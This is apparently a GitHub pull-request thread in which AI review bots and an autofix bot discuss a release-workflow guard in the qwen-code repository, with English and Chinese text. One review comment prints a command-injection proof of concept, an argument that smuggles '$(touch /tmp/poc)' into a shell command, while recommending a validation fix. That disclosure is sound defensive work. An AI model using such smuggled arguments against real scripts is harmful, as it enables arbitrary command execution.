未探索到全部深度(达到工具调用预算):"Context: PR #9082 (QwenLM/qwen-code, Fixes #9076) changes…"none — all checks I intended completed within budget."You are review agent reverse-audit — Reverse audit agent…"nothing major — I completed the walk I had planned. I did not exhaustively verify the branch protection / force-push permissions (external config, unverifiable …"You are review agent reverse-audit — Reverse audit agent…"none — the planned walk completed within budget."You are review agent reverse-audit — Reverse audit agent…"(none — finished within budget; no check left unfinished)"Context: PR #9082 (QwenLM/qwen-code, Fixes #9076) changes…"none — all planned checks completed within budget.

未审查:反向审计——在 5 轮的反审轮数上限内未收敛。

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

Test Plan(非阻断):release/v0.21.12-preview.0no such file or directory

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment thread scripts/get-release-version.js Outdated
Comment on lines +218 to +220
if (strict && !error.message?.includes('E404')) {
throw new Error(
`Failed to verify ${pkg}@${version} on npm: ${error.message}`,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R7-1: Strict-mode probe error after a shipped-package hit masks the already-decided exit-3 refusal — the npm scan throws on any non-E404 error even when shippedPackages is already non-empty, so runCli maps the un-coded error to exit 2 instead of exit 3. The comment above states the intent — "a failed one would mask the refusal's recovery guidance" — which is exactly what happens inside the loop. — Failure scenario: a partially published version is retried during a registry disruption → the loop hits on a shipped package, then a transient ETIMEDOUT/E429 on a later package throws → the workflow retries 3× and, if the disruption persists, the job fails without version_refusal set → notify_failure files a "Release Failed" issue and dispatches autofix against a version that actually (partially) shipped, losing the "Found on: …" recovery guidance. Probe-proven: hit on package[0] + ETIMEDOUT on package[1] → runCli returns 2 (expected 3); the fix below flips it to 3 with all 60 tests green. The push itself is still blocked — only classification and notification are wrong.

Suggested change
if (strict && !error.message?.includes('E404')) {
throw new Error(
`Failed to verify ${pkg}@${version} on npm: ${error.message}`,
if (
strict &&
shippedPackages.length === 0 &&
!error.message?.includes('E404')
) {
throw new Error(
`Failed to verify ${pkg}@${version} on npm: ${error.message}`,
);
中文说明

严格模式下,在已命中"已发布"包之后的探测错误会掩盖已经确定的 exit 3 拒绝 —— npm 扫描在 shippedPackages 已非空时仍会对任何非 E404 错误抛出异常,于是 runCli 把这个未带 code 的错误映射为 exit 2 而非 exit 3。上方注释声明的意图 —— "失败的探测会掩盖拒绝的恢复指引" —— 恰恰在循环内部发生。 — 失败场景:部分发布的版本在 registry 故障期间被重试 → 循环命中已发布的包,随后某个后续包出现瞬时 ETIMEDOUT/E429 并抛错 → workflow 重试 3 次后若故障仍在,任务在 version_refusal 未置位的情况下失败 → notify_failure 为一个实际已(部分)发布的版本建 "Release Failed" issue 并派发 autofix,同时丢失 "Found on: …" 恢复指引。已用探针证实:包[0] 命中 + 包[1] ETIMEDOUT → runCli 返回 2(应为 3);下方修复使其翻转为 3 且全部 60 个测试仍绿。推送本身仍会被阻断 —— 只有失败分类与通知是错的。

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment thread scripts/tests/release-workflow.test.js Outdated
);
});

it('exits 3 from the real entry point when the version already shipped', () => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R7-2: This entry-point exit-3 test is POSIX-only but runs on the merge-queue test_windows gate, where it fails by construction. The stub shadows npm via a #!/bin/sh file prepended to PATH with : — on Windows the colon corrupts the PATH prepend (;-separated), the extensionless npm is unresolvable by cmd.exe, and the shebang is inert. test:citest:scripts collects this file there (the win32 exclude list matches only pr-self-report-label.test.js and qwen-*-workflow.test.js). — Failure scenario: on test_windows the real toolchain runs — E404 probes are tolerated, then gh release view without GITHUB_TOKEN throws in strict mode → runCli exits 2, but the test asserts toBe(3) → deterministic red on the required Windows gate for this PR and every later one. Probe-proven: the stub-resolves arm exits 3 with the refusal message; the stub-unresolvable arm exits 2 via the exact gh auth error. The sibling usage-error spawn test is cross-platform-safe and can stay.

Suggested change
it('exits 3 from the real entry point when the version already shipped', () => {
it.skipIf(process.platform === 'win32')(
'exits 3 from the real entry point when the version already shipped',
() => {

(Alternatively, add 'scripts/tests/release-workflow.test.js' to the win32 exclude list in scripts/tests/vitest.config.ts, matching the convention documented there.)

中文说明

这个入口 exit 3 测试仅支持 POSIX,却会在 merge 队列的 test_windows 门禁上运行,并在该平台上必然失败。打桩通过 #!/bin/sh 文件以 : 拼接到 PATH 前来影子化 npm —— 在 Windows 上冒号会破坏 PATH 前置(Windows 以 ; 分隔)、无扩展名的 npm 无法被 cmd.exe 解析、shebang 也不生效。test:citest:scripts 会在那里收集本文件(win32 排除列表只匹配 pr-self-report-label.test.jsqwen-*-workflow.test.js)。 — 失败场景:在 test_windows 上真实工具链运行 —— E404 探测被容忍,随后无 GITHUB_TOKENgh release view 在严格模式下抛错 → runCli 以 2 退出,而测试断言 toBe(3) → 本 PR 及后续所有 PR 的必需 Windows 门禁确定性变红。已用探针证实:桩可解析臂以 3 退出并输出拒绝消息;桩不可解析臂以 2 退出且正是该 gh 鉴权错误。同组的用法错误 spawn 测试跨平台安全,可保留。

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment on lines +665 to +669
it('pins the full published-package set', () => {
// The push-time guard derives from this list; the workflow's publish
// steps hardcode the same set separately, so adding or removing a
// package must update both this pin and the publish steps in
// release.yml so every consumer is reviewed together.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R7-3: This pin enforces only one direction of the two-consumer coupling its comment declares — a change to PUBLISHED_PACKAGES fails this test, but a change to release.yml's hardcoded publish set (three individual publish steps plus the channel allowlist loop) fails nothing. — Concrete cost: if a future package is added to the workflow allowlist but not to PUBLISHED_PACKAGES, the push-time guard never probes it; since the origin tag exists only after gh release create (which runs after all npm publishes), the npm scan is the only defense after a partial publish that dies before that step — a partial publish that shipped only the unlisted package reads as "unreleased" and the force push proceeds despite the guard's stated invariant. Both sets match today, so this is drift risk, not a live bug.

Suggested fix: in scripts/tests/release-workflow.test.js (which already loads release.yml), assert that the workflow's publish steps cover exactly PUBLISHED_PACKAGES, so drift fails in both directions.

中文说明

该固定测试只强制其注释所声明的双消费者耦合的一个方向 —— 修改 PUBLISHED_PACKAGES 会使本测试失败,但修改 release.yml 中硬编码的发布集合(三个独立发布步骤加上 channel 白名单循环)不会使任何测试失败。 — 具体代价:若未来某个包被加入 workflow 白名单却未加入 PUBLISHED_PACKAGES,推送时守卫将永不探测它;由于 origin tag 只在 gh release create(位于所有 npm 发布之后)之后才存在,对于在该步骤之前死掉的部分发布,npm 扫描是唯一防线 —— 只发布了该未列出包的部分发布会被读作"未发布",强制推送将不顾守卫声明的不变量继续执行。两侧集合当前一致,因此这是漂移风险,而非现行 bug。

建议修复:在 scripts/tests/release-workflow.test.js(已加载 release.yml)中断言 workflow 的发布步骤恰好覆盖 PUBLISHED_PACKAGES,使两个方向的漂移都会失败。

— qwen3.8-max via Qwen Code /review (v0.21.11)

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Deferred — critical-only mode is active on this PR (five change-producing rounds complete), so non-Critical automated-reviewer suggestions are no longer implemented in this round. The finding’s own assessment holds: both sets match today, so this is drift risk, not a live bug. The bidirectional pin (asserting the workflow’s publish steps cover exactly PUBLISHED_PACKAGES) stays open for human follow-up and can land as a small follow-up PR.

中文说明

暂缓 —— 本 PR 已触发仅处理 Critical 的模式(已完成 5 个产生改动的轮次),本轮不再实施自动审查器的非 Critical 建议。该发现自身的判断成立:两侧集合当前一致,属于漂移风险而非现行 bug。双向固定(断言 workflow 的发布步骤恰好覆盖 PUBLISHED_PACKAGES)保持开放,留待人工跟进,可作为小型后续 PR 落地。

Comment on lines +132 to +135
// code through it, and the retry loop is pinned around the call:
// GUARD_STATUS is reset each attempt and only exit 2 (a probe
// failure) retries — exit 0 and exit 3 stay decisive on the first
// attempt.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R7-4: The retry loop's break condition (if [[ "${GUARD_STATUS}" -ne 2 ]]; then break; fi) and backoff sleep are not pinned by any test, although this comment claims they are — all three workflow regexes leave the loop body between the guard invocation and the push as an unconstrained [\s\S]*? gap (no occurrence of -ne 2, break, or retrying in in either test file). — Concrete cost (mutation-proven): changing -ne 2-eq 2 in release.yml — which makes a probe failure break immediately with no retry — leaves all 60 tests green, yet would make a transient registry blip fail releases and dispatch autofix at infrastructure noise: the exact regression the loop was added to prevent.

Suggested fix: extend one of the existing regexes to span the loop body verbatim (the -ne 2 break block and the sleep $(( attempt * 15 )) line).

中文说明

重试循环的跳出条件(if [[ "${GUARD_STATUS}" -ne 2 ]]; then break; fi)与退避 sleep 并未被任何测试固定,尽管此注释声称已固定 —— 三个 workflow 正则都把守卫调用与推送之间的循环体留作不受约束的 [\s\S]*? 空隙(两个测试文件中均无 -ne 2breakretrying in 出现)。 — 具体代价(已突变证实):把 release.yml 中的 -ne 2 改为 -eq 2 —— 使探测失败立即跳出、不再重试 —— 全部 60 个测试仍绿,却会让一次瞬时 registry 抖动直接失败发布并向基础设施噪音派发 autofix:正是该循环要防止的回归。

建议修复:将既有正则之一逐字扩展至覆盖循环体(-ne 2 跳出块与 sleep $(( attempt * 15 )) 行)。

— qwen3.8-max via Qwen Code /review (v0.21.11)

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Deferred — critical-only mode is active on this PR, so non-Critical automated-reviewer suggestions are not implemented in this round. The mutation-tested gap is real (inverting -ne 2 to -eq 2 keeps all tests green today), but the fix is additive test coverage against a nearly exhausted test-line budget; it stays open for human follow-up.

中文说明

暂缓 —— 本 PR 已触发仅处理 Critical 的模式,本轮不实施自动审查器的非 Critical 建议。该突变验证的缺口真实存在(把 -ne 2 反转为 -eq 2 目前所有测试仍绿),但修复属于在测试行预算接近耗尽时新增测试覆盖;保持开放,留待人工跟进。

Comment on lines +746 to +749
(
needs.publish.result == 'failure' &&
needs.publish.outputs.version_refusal != 'true'
)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R7-5: A push-time refusal after a partial publish leaves no trace on the release's tracking artifact — when version_refusal is set the entire notify_failure job is skipped, so the already-open "Release Failed" issue is never updated and nothing else notifies. — Concrete cost: run A publishes 6 of 10 packages then fails → notify_failure files "Release Failed for vX" issue #N with status/ready-for-agent + autofix/approved labels (picked up by the scheduled autofix scan). The retry hits the guard → exit 3 → version_refusal=true → notify skipped: no comment on issue #N, no new issue, no dispatch. Issue #N stays open and stale while every future retry dies silently at the guard; oncall follows the stale issue and keeps retrying a run that can never succeed, with no breadcrumb that the release is half-shipped and must be completed manually from the pushed release/<tag> tip — the exact guidance the refusal message contains but never delivers there.

Suggested fix: on refusal, comment on the existing "Release Failed for " issue when one is open (the lookup logic already exists in notify_failure), or at minimum write the refusal's Found on: … detail and manual-completion guidance to $GITHUB_STEP_SUMMARY in the push step before exit 1.

中文说明

部分发布之后的推送时拒绝不会在发布的跟踪载体上留下任何痕迹 —— 当 version_refusal 置位时整个 notify_failure 任务被跳过,于是已经打开的 "Release Failed" issue 永远不会被更新,也没有任何其他通知。 — 具体代价:run A 发布 10 个包中的 6 个后失败 → notify_failure 建立 "Release Failed for vX" issue #N,带 status/ready-for-agent + autofix/approved 标签(会被定时 autofix 扫描拾取)。重试命中守卫 → exit 3 → version_refusal=true → 通知被跳过:issue #N 无评论、无新 issue、无派发。issue #N 保持打开且过期,而此后每次重试都在守卫处静默死去;值班人员循着过期 issue 不断重试一个永远不可能成功的运行,且没有任何线索表明发布已半完成、需要从已推送的 release/<tag> tip 手动补齐 —— 这正是拒绝消息所包含、却从未送达该处的指引。

建议修复:拒绝时,如已存在对应的 "Release Failed for " issue 则在其上评论(notify_failure 中已有查找逻辑),或至少在推送步骤 exit 1 之前把拒绝的 Found on: … 明细与手动补齐指引写入 $GITHUB_STEP_SUMMARY

— qwen3.8-max via Qwen Code /review (v0.21.11)

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Deferred — critical-only mode is active on this PR, so non-Critical automated-reviewer suggestions are not implemented in this round. The suggested fix (commenting on an open “Release Failed” issue on refusal, or writing the refusal detail to the step summary) extends release.yml’s notification path and needs a design call beyond this round’s scope; it stays open for human follow-up.

中文说明

暂缓 —— 本 PR 已触发仅处理 Critical 的模式,本轮不实施自动审查器的非 Critical 建议。建议的修复(拒绝时在已打开的 “Release Failed” issue 上评论,或将拒绝明细写入步骤摘要)会扩展 release.yml 的通知路径,需要超出本轮范围的设计决策;保持开放,留待人工跟进。

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator Author

🤖 Addressed the latest review feedback (round 6/10). What changed, and what I pushed back on: · 已处理最新评审反馈(第 6/10 轮)。改动内容与我反驳保留之处如下:

Address review summary — PR #9082 (issue #9076), round 7

Critical-only mode is active (five change-producing rounds complete), so only
the two Critical findings were actionable this round. The three
automated-reviewer Suggestions (R7-3, R7-4, R7-5) are deferred by the
deterministic brake: no code changes for them, their threads stay open for
human follow-up, and each received a reply recording the deferral.

Findings

R7-1 [Critical] Probe error after a shipped-package hit masks the exit-3 refusal — RESOLVED

Reproduced before implementing: a probe run of the real entry point with a
hit on package[0] and a transient ETIMEDOUT on package[1] exited 2
instead of the refusal contract's 3, confirming the finding — the strict npm
scan threw inside the loop even though the refusal was already decided, and
runCli mapped the un-coded error to exit 2.

Fix (matches the finding's suggestion): the catch in doesVersionExist now
throws on a non-E404 probe error only while shippedPackages is empty. Once
a package has shipped, later probe errors are tolerated so the scan finishes
naming what shipped and the refusal reaches the workflow as exit 3 with its
"Found on: …" recovery guidance. Fail-closed behavior before any hit is
unchanged (the existing fails closed when an npm probe errors… test still
passes), and the push remains blocked in every path.

Added the regression test keeps the refusal decisive when a probe fails after a shipped hit, verified to FAIL on the pre-round code (exit 2 vs
expected 3) and pass after the fix; the probe re-run post-fix exits 3 with
the full refusal message.

R7-2 [Critical] POSIX-only exit-3 spawn test fails by construction on the Windows gate — RESOLVED

Confirmed by inspection and surrogate probe: the merge-queue test_windows
job runs npm run test:ci, which ends in test:scripts, and the win32
exclude list in scripts/tests/vitest.config.ts does not cover
release-workflow.test.js. The stub shadows npm via a #!/bin/sh script
prepended to PATH with : — unresolvable on Windows (PATH is
;-separated, the extensionless file is not found, the shebang is inert). A
local surrogate with an unresolvable stub shows the entry point then exits
2 (real toolchain, strict-mode probe error), so the test's toBe(3)
fails deterministically on win32.

Fix: it.skipIf(process.platform === 'win32') on that single test — the
established convention in scripts/tests (7 existing uses) — with a comment
recording why. This keeps the rest of the file's platform-agnostic coverage
running on Windows, including the sibling usage-error spawn test. Linux CI
remains the authoritative coverage for the skipped test.

R7-3, R7-4, R7-5 [Suggestion] — DEFERRED (critical-only brake)

Per the engaged critical-only mode, non-Critical automated-reviewer
suggestions are not implemented this round. No code changes, threads left
open, deferral replies posted:

  • R7-3 (bidirectional pin of the workflow publish set vs
    PUBLISHED_PACKAGES): drift risk only — both sets match today.
  • R7-4 (pin the retry loop's -ne 2 break condition and backoff sleep):
    valid mutation-tested gap, deferred.
  • R7-5 (leave a trace on the release's tracking artifact after a
    partial-publish refusal): would extend release.yml's notification path,
    deferred.

Conflict

None (--conflict false); no merge performed.

Verification

  • R7-1 probe pre-fix (real entry point, hit on package[0] + ETIMEDOUT on
    package[1]) — exit 2 (expected 3): defect reproduced
  • R7-2 surrogate probe pre-fix (unresolvable stub, real toolchain) — exit 2:
    assertion cannot hold when the stub does not shadow
  • new regression test on pre-round code — FAILED (expected 2 to be 3),
    proving the defect pre-round
  • R7-1 probe post-fix — exit 3 with the full refusal and recovery guidance
  • npm run build — passed (also resolved two pre-existing script-test
    failures caused by missing build artifacts in this checkout:
    install-script.test.js needed packages/audio-capture/dist)
  • npm run typecheck — passed
  • npm run lint — passed
  • npx prettier --check on the three changed files — passed
  • vitest run --config ./scripts/tests/vitest.config.ts (full scripts
    suite) — 54 files, 1179 passed, 16 skipped. One transient failure in
    verify-capture.test.js > renders 256-colour and truecolor… appeared in a
    single full-suite run; the file is untouched by this branch and passes
    both in isolation and on the repeated full-suite run (parallel-rendering
    flake, disclosed rather than silently dropped)
  • integration tests after npm run bundle — not applicable: the changed
    behavior is exercised by the scripts test suite, not the bundled CLI or
    integration harness
  • npm run generate:settings-schema — not applicable: no settings source
    changed
中文说明

处理审查总结 — PR #9082(issue #9076),第 7 轮

仅处理 Critical 的模式已生效(已完成 5 个产生改动的轮次),因此本轮只有
两个 Critical 发现可处理。三个自动审查器的 Suggestion(R7-3、R7-4、R7-5)
被确定性刹车暂缓:不改代码,其线程保持开放留待人工跟进,并各回复一条说明
暂缓原因。

发现

R7-1 [Critical] 已发布包命中后的探测错误掩盖 exit 3 拒绝 — 已解决

实施前先复现:用真实入口运行探针,包[0] 命中、包[1] 出现瞬时 ETIMEDOUT,
结果退出码为 2 而非拒绝契约的 3,证实了该发现 —— 严格模式 npm 扫描在
拒绝已经确定的情况下仍在循环内部抛错,runCli 把这个未带 code 的错误映射为
exit 2。

修复(与发现的建议一致):doesVersionExist 的 catch 现在仅在
shippedPackages 为空时才對非 E404 探测错误抛错。一旦已有包发布,后续探测
错误会被容忍,让扫描完成并列出所有已发布的包,使拒绝以 exit 3 及其
"Found on: …" 恢复指引送达 workflow。任何命中前的失败关闭(fail-closed)
行为不变(现有 fails closed when an npm probe errors… 测试仍通过),且所有
路径下推送依然被阻断。

新增回归测试 keeps the refusal decisive when a probe fails after a shipped hit,已验证在本轮之前的代码上失败(exit 2 而非期望的 3),修复后通过;
修复后重跑探针以 exit 3 退出并输出完整拒绝消息。

R7-2 [Critical] 仅 POSIX 的 exit 3 spawn 测试在 Windows 门禁上必然失败 — 已解决

通过代码检查与替代探针确认:merge 队列的 test_windows 任务运行
npm run test:ci,其最后执行 test:scripts,而
scripts/tests/vitest.config.ts 的 win32 排除列表不覆盖
release-workflow.test.js。该桩通过以 : 拼接到 PATH 前的 #!/bin/sh 脚本
来影子化 npm —— 在 Windows 上无法解析(PATH 以 ; 分隔、无扩展名文件无法
找到、shebang 不生效)。本地以不可解析的桩做替代探针,显示此时真实工具链下
入口以 2 退出(严格模式探测错误),因此该测试的 toBe(3) 在 win32 上
确定性失败。

修复:对该单个测试使用 it.skipIf(process.platform === 'win32') —— 这是
scripts/tests 中既有的约定(已有 7 处同样用法)—— 并加注释说明原因。这样
文件内其余平台无关的覆盖(包括同组的用法错误 spawn 测试)仍在 Windows 上
运行。被跳过测试的权威覆盖仍在 Linux CI。

R7-3、R7-4、R7-5 [Suggestion] — 暂缓(仅 Critical 刹车)

按已生效的仅 Critical 模式,本轮不实施自动审查器的非 Critical 建议。不改
代码,线程保持开放,并已回复暂缓说明:

  • R7-3(workflow 发布集合与 PUBLISHED_PACKAGES 的双向固定):仅为漂移
    风险 —— 两侧集合当前一致。
  • R7-4(固定重试循环的 -ne 2 跳出条件与退避 sleep):经突变验证的有效
    缺口,暂缓。
  • R7-5(部分发布后的推送时拒绝在发布跟踪载体上留痕):将扩展 release.yml
    的通知路径,暂缓。

冲突

无(--conflict false);未执行合并。

验证

  • R7-1 修复前探针(真实入口,包[0] 命中 + 包[1] ETIMEDOUT)— exit 2
    (期望 3):缺陷复现
  • R7-2 替代探针(不可解析的桩,真实工具链)— exit 2:桩无法影子化时断言
    不可能成立
  • 新回归测试在本轮前代码上 — 失败(expected 2 to be 3),证明缺陷在修复前
    存在
  • R7-1 修复后探针 — exit 3,输出完整拒绝与恢复指引
  • npm run build — 通过(同时解决了本检出中因缺少构建产物导致的两个既有
    脚本测试失败:install-script.test.js 需要 packages/audio-capture/dist
  • npm run typecheck — 通过
  • npm run lint — 通过
  • npx prettier --check(三个改动文件)— 通过
  • vitest run --config ./scripts/tests/vitest.config.ts(完整 scripts
    套件)— 54 个文件,1179 通过,16 跳过。verify-capture.test.js > renders 256-colour and truecolor… 在一次完整套件运行中出现瞬时失败;
    该文件未被本分支改动,单独运行与重复完整套件运行均通过(并行渲染抖动,
    如实披露而不静默忽略)
  • npm run bundle 后的集成测试 — 不适用:改动的行为由 scripts 测试套件
    覆盖,而非打包 CLI 或集成测试框架
  • npm run generate:settings-schema — 不适用:未改动任何 settings 源

Deferred non-Critical feedback

Critical-only mode is active: 5 change-producing rounds are complete. The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. (@qwen-code /retry starts a fresh counting window.)

中文说明

已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次。本轮可执行区域已排除下方非 Critical 反馈;这些条目保持开放,留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后;达到预算的作者(如有)在下方点名。(评论 @qwen-code /retry 可开启新的计数窗口。)

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 10 this bot stops and leaves the PR for a human. · 有空请复审;第 10 轮后本 bot 停止并将 PR 交给人工。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed. Suggestions are inline.

Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and the win32 skip path of the release-workflow spawn test was executed nowhere.

Not explored to full depth (tool budget reached): "agent 3b": none — no check was cut short..

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Test Plan (not a blocker): release/v0.21.12-preview.0no such file or directory.

中文说明

仅完成部分审查,审查缺口已披露。 建议见行内评论。

未审查:build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and the win32 skip path of the release-workflow spawn test was executed nowhere。

未探索到全部深度(达到工具调用预算):"agent 3b"none — no check was cut short.

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

Test Plan(非阻断):release/v0.21.12-preview.0no such file or directory

— qwen3.8-max via Qwen Code /review (v0.21.12)

Comment on lines +305 to +308
export function assertVersionUnreleased(version) {
if (typeof version !== 'string' || version.length === 0) {
throw new Error(
'assert-unreleased requires a version, e.g. --assert-unreleased=1.2.3',

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R8-3: assertVersionUnreleased interpolates its only input into execSync shell commands with only a non-empty-string check — npm view ${pkg}@${version} version ×10, git ls-remote --exit-code origin "refs/tags/v${version}", gh release view "v${version}" — and is the one doesVersionExist call path that skips the validateVersion its sibling paths (getStableVersion/getPreviewVersion) apply. The function is newly exported and its usage-error message advertises direct CLI use, so any future caller inherits a shell sink. — Failure scenario: node scripts/get-release-version.js '--assert-unreleased=1.2.3$(touch /tmp/poc)' executes the command substitution as the invoking user (probe-proven: marker file created, exit 0). No workflow path is exploitable today — prepare validates every version shape before publish, and workflow_dispatch actors have write access and arbitrary code execution already — so this is defense-in-depth on the exported function / CLI surface, not a live hole.

Witness (probe flip, PATH-stubbed npm/git/gh, no network):

payload '--assert-unreleased=1.2.3$(touch /tmp/r83-A)'
  unmodified PR      -> marker file created, exit 0
  + shape validation -> ::error::, exit 2, no marker file
  nightly 0.6.1-nightly.20260815.abc1234 -> exit 0 (legit shape passes)
Suggested change
export function assertVersionUnreleased(version) {
if (typeof version !== 'string' || version.length === 0) {
throw new Error(
'assert-unreleased requires a version, e.g. --assert-unreleased=1.2.3',
export function assertVersionUnreleased(version) {
if (typeof version !== 'string' || !semver.valid(version)) {
throw new Error(
'assert-unreleased requires a version, e.g. --assert-unreleased=1.2.3',

The fix uses the already-imported semver and keeps the error message unchanged (the spawn test pins the assert-unreleased requires a version substring); probe-flip verified, all 61 tests stay green.

中文说明

[Suggestion] R8-3:assertVersionUnreleased 将其唯一输入直接内插到 execSync shell 命令中,仅做非空字符串检查 —— npm view ${pkg}@${version} version ×10、git ls-remote --exit-code origin "refs/tags/v${version}"gh release view "v${version}" —— 是 doesVersionExist 所有调用路径中唯一没有像姊妹路径(getStableVersion/getPreviewVersion)那样先过 validateVersion 的一条。该函数本次新被导出,且其用法错误消息明示可直接从 CLI 使用,因此任何未来的调用方都会继承一个 shell 注入汇点。— 失败场景:node scripts/get-release-version.js '--assert-unreleased=1.2.3$(touch /tmp/poc)' 会以调用者身份执行命令替换(已用探针证实:标记文件被创建,退出码 0)。当前没有任何 workflow 路径可被利用 —— prepare 在发布前会校验所有版本形状,workflow_dispatch 的触发者本就拥有写权限与任意代码执行能力 —— 因此这是针对导出函数 / CLI 表面的纵深防御,而非现存漏洞。

见证(探针翻转,PATH 打桩 npm/git/gh,无网络):载荷 '--assert-unreleased=1.2.3$(touch /tmp/r83-A)':未修改的 PR → 标记文件被创建、退出 0;应用形状校验后 → ::error::,退出 2,无标记文件;合法的 nightly 形状 0.6.1-nightly.20260815.abc1234 → 退出 0。

建议修复:在守卫入口使用已导入的 semver 做形状校验(见上方 suggestion 代码块);错误消息保持不变,以免破坏固定 assert-unreleased requires a version 子串的 spawn 测试。已用探针翻转验证,全部 61 个测试仍绿。

— qwen3.8-max via Qwen Code /review (v0.21.12)

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator Author

🤖 Reviewed the latest feedback — no changes needed. Why, point by point: · 已审阅最新反馈——无需改动。逐点说明原因如下:

Autofix review round: no action (PR #9082)

Critical-only mode is active on this PR: 5 change-producing rounds are complete, and the diff grew past this counting window's budget (source 185 / test 406 net lines vs budgets of 400/400). The deterministic brake deferred all non-Critical feedback to human follow-up.

After that filter, this round has no actionable work:

  • Reviews — none newer than the last evaluation.
  • Inline comments — none newer than the last evaluation.
  • Issue-level comments — none newer than the last evaluation.
  • Failed checks — none.
  • Still-red checks — none persisting from before the last evaluation.

The deferred non-Critical items (one automated review and one inline suggestion on scripts/get-release-version.js) remain open for human follow-up. Per the Critical-only rules, this round did not modify code, resolve threads, or reply to them.

No code changes were made this round; no new commit was created.

中文说明

Autofix 评审轮次:无操作(PR #9082

本 PR 已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次,且 diff 已超出本计数窗口的预算(源码 185 / 测试 406 净增行,预算为 400/400)。确定性刹车已将所有非 Critical 反馈延后,留待人工跟进。

经过该过滤后,本轮没有可执行的工作:

  • 评审(Reviews)——自上次评估以来没有新的评审。
  • 行内评论(Inline comments)——自上次评估以来没有新的行内评论。
  • Issue 级评论——自上次评估以来没有新的 Issue 级评论。
  • 失败检查(Failed checks)——无。
  • 持续失败的检查(Still-red checks)——自上次评估以来没有遗留的持续失败检查。

被延后的非 Critical 条目(一条自动化评审和一条针对 scripts/get-release-version.js 的行内建议)保持开放,留待人工跟进。按照 Critical-only 规则,本轮未修改代码、未解决线程、也未对其进行回复。

本轮未做任何代码改动;未创建新的提交。

Deferred non-Critical feedback

Critical-only mode is active: 5 change-producing rounds are complete and the PR's diff grew src 185 / test 406 net lines beyond this counting window's baseline (budgets: 400/400). The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. (@qwen-code /retry starts a fresh counting window.)

中文说明

已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次,且本计数窗口内 diff 净增长已达 源码 185 / 测试 406 行(预算 400/400)。本轮可执行区域已排除下方非 Critical 反馈;这些条目保持开放,留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后;达到预算的作者(如有)在下方点名。(评论 @qwen-code /retry 可开启新的计数窗口。)

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@doudouOUC doudouOUC left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed. Suggestions are inline. 1 Suggestion-level finding(s) could not be anchored to a changed line and were dropped; nothing further to act on here.

Not explored to full depth (tool budget reached): "PR #9082: fix(ci): force-push release branch so retries…": None. Walked every hunk, enclosing function, the full test file, and the full workflow file..

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Test Plan (not a blocker): release/v0.21.12-preview.0no such file or directory.

中文说明

已审查。 建议见行内评论。 1 条建议级发现无法锚定到改动行,已丢弃;此处无需进一步处理。

未探索到全部深度(达到工具调用预算):"PR #9082: fix(ci): force-push release branch so retries…"None. Walked every hunk, enclosing function, the full test file, and the full workflow file.

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

Test Plan(非阻断):release/v0.21.12-preview.0no such file or directory

— deepseek-v4-flash via Qwen Code /review (v0.21.11)

Comment thread scripts/get-release-version.js Outdated
try {
assertVersionUnreleased(args['assert-unreleased']);
} catch (error) {
console.error(`::error::${error.message}`);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] ::error:: annotation written to stderr via console.error is not parsed by GitHub Actions runner — should use console.log (stdout)

